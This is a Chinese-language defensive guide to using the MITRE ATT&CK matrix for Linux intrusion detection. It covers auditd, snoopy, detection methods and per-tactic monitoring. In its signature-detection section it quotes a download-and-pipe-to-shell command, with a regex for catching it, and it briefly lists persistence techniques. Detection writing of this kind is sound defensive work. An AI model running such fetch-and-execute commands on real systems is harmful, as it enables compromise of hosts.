ATT&CK矩阵Linux系统安全实践
字数 2669 2025-08-15 21:31:21
ATT&CK矩阵在Linux系统安全中的实践指南
1. ATT&CK矩阵概述
MITRE在2013年推出的ATT&CK模型是一个基于真实观察数据的对抗行为分类框架,它将已知攻击者行为转换为结构化列表。ATT&CK框架包含以下核心要素:
- 战术(Tactics):攻击者的目标或攻击阶段(如初始访问、执行、持久化等)
- 技术(Techniques):攻击者为达成战术目标所使用的方法
- 子技术(Sub-techniques):更具体的技术实现方式
ATT&CK矩阵按照从左到右的顺序排列战术,构建完整的攻击链,目前已成为入侵检测系统的重要参考框架。
2. 入侵检测系统基础
2.1 入侵检测系统分类
-
基于主机的入侵检测系统(HIDS)
- 数据源:操作系统事件、应用程序日志、系统调用日志(syscall)、端口调用、安全审计日志
- 典型工具:auditd、OSSEC、Wazuh
-
基于网络的入侵检测系统(NIDS)
- 数据源:网络原始数据包
- 典型工具:Suricata、Snort
-
混合型入侵检测系统(HIDS+NIDS)
- 结合主机和网络数据源进行综合分析
2.2 通用检测方法
2.2.1 基于已知攻击的检测(特征检测)
- 原理:建立攻击特征库,匹配监测到的行为
- 优点:误报率低,计算要求不高
- 缺点:无法检测未知攻击,需持续更新特征库
- 示例:检测恶意命令下载执行
对应正则表达式:wget http://test.com/eval.sh -o eval.sh | shwget\s+http:.*(\s+-\w+){0,}\s+-o\s+.*\.(sh|pl)\s*\|sh
2.2.2 IOC(Indicator of Compromise)检测
- 常见IOC类型:文件哈希、IP地址、URL、注册表键值、进程名等
- 挑战:IOC过期导致误报,需结合行为分析
- 改进方法:IOC再关联行为分析(如检测下载→执行→C2连接完整链条)
2.2.3 关联检测
- 将检测规则转化为IF-THEN逻辑
- 示例:
IF 用户下载可疑文件 AND 文件被执行 AND 系统发起异常外联 THEN 判定为恶意行为
2.2.4 基于行为的检测(异常检测)
- 建立正常行为基线(用户轮廓),检测显著偏差
- 关键挑战:阈值设置(过高导致漏报,过低导致误报)
- 常用方法:UEBA(用户实体行为分析)
- 建模示例:
攻击目标:系统提权 可能步骤:信息收集→上传恶意脚本→凭证窃取→root调用低权限文件
2.2.5 基于统计的检测
-
采集的基础信息:
- CPU、内存、网卡数据
- 系统组、用户信息
- 应用软件信息等
-
统计量示例:
- 单位时间连接访问次数
- 进程启动种类频率
- 文件系统调用情况
- 用户登录时间和次数
- 进程启动时间间隔
- 文件写入行为统计
3. Linux主机信息采集实践
3.1 审计系统配置
推荐使用auditbeat实现标准化数据采集,覆盖ATT&CK矩阵70-80%的检测需求。
auditd三大模块:
-
auditd管理模块
- 管理审计规则和自定义规则
- 工作流程:
- 用户态进程配置规则→通过Netlink通知内核
- 内核kauditd加载规则
- 应用程序系统调用经过auditd记录
- 事件通过Netlink回传用户态
-
file_integrity模块
- 实时监控文件系统变化
- 报告文件元数据与哈希
- 记录文件创建、移动、删除、更新等事件
-
应用场景
- 监控文件访问(检测可疑篡改)
- 监控系统调用(二进制/共享库调用)
- 记录用户命令执行
- 记录安全事件
- 执行审计搜索
- 统计报表生成
- 监控网络访问(恶意外联)
3.2 命令执行监控
snoopy工具:
- 轻量级lib库,记录所有执行的命令及参数
- 原理:通过preload拦截execv()和execve()系统调用
- 部署方案:结合rsyslog集中收集所有主机命令历史
auditd替代方案:
- 通过监控execve系统调用实现类似功能
- 重点检测非ROOT用户的异常命令执行
4. ATT&CK战术技术检测详解
4.1 侦查阶段(Reconnaissance)
检测重点:
- 异常信息收集行为
- 大规模扫描活动
- 非常规工具使用
4.2 凭证获取(Credential Access)
常见攻击技术:
- 从文件/配置/历史记录中提取凭证
- 暴力破解攻击
- 内存抓取明文密码
检测方法:
- 监控敏感文件访问(如.bash_history、/etc/shadow)
- 检测暴力破解行为模式
- 分析异常认证日志
4.3 命令与控制(Command and Control)
防护措施:
- 应用白名单机制
- 监控异常外联
- 检测非标准端口通信
4.4 持久化(Persistence)
常见Linux持久化技术:
- 添加超级用户账号
- 设置SUID shell
- 恶意定时任务
- 篡改共享库文件
- 加载恶意LKM模块
检测方法:
- 监控账户变更
- 检查异常SUID文件
- 分析crontab变更
- 验证共享库完整性
4.5 权限提升(Privilege Escalation)
检测方法:
- 监控子进程UID变化(特别是变为0)
- 分析特权操作上下文
- 检测漏洞利用特征
4.6 横向移动(Lateral Movement)
检测重点:
- 异常内网连接
- 凭证滥用行为
- 自动化攻击特征
4.7 痕迹清除(Defense Evasion)
应对措施:
- 确保日志保存6个月以上(符合安全法要求)
- 部署SIEM集中管理日志
- 使用心跳线检测日志篡改
5. 高级检测技术
5.1 内核级攻击检测
恶意软件三大特征:
- 隐藏行为
- 数据操纵
- 信息收集
检测方法:
- 使用静态编译的可信工具:lsof、stat、strace等
- 专用检测工具:rkhunter、chkrootkit
- LiveCD分析:DEFT、Second Look、Helix
- 动态分析调试:
- 使用gdb分析/proc/kcore
- 通过System.map和vmlinuz镜像分析
- 直接调试裸设备:debugFS
5.2 实践部署建议
- 规则编写:基于auditd编写针对性检测规则
- 检测位置:
- 传输前处理(如使用nxlog进行正则匹配和简单关联分析)
- SOC平台集中分析
- 响应策略:根据实际环境确定响应级别和方式
6. ATT&CK的应用价值
6.1 主要应用场景
- 对抗模拟:构建更真实的攻防演练
- 红队/渗透测试:指导全面攻击面覆盖
- SOC成熟度评估:衡量安全运营中心检测能力
6.2 与传统评估方法的区别
ATT&CK矩阵的优势:
- 提供结构化、标准化的攻击行为分类
- 覆盖完整的攻击生命周期
- 便于构建系统化的防御体系
- 支持威胁情报共享和比对
7. 总结与展望
ATT&CK框架为Linux系统安全提供了系统化的检测思路,通过:
- 全面覆盖攻击链各阶段
- 结合多种检测方法(特征、行为、统计等)
- 实现主机与网络的多维度监控
未来发展方向:
- 加强行为分析与机器学习结合
- 提升未知威胁检测能力
- 优化误报与漏报平衡
- 完善自动化响应机制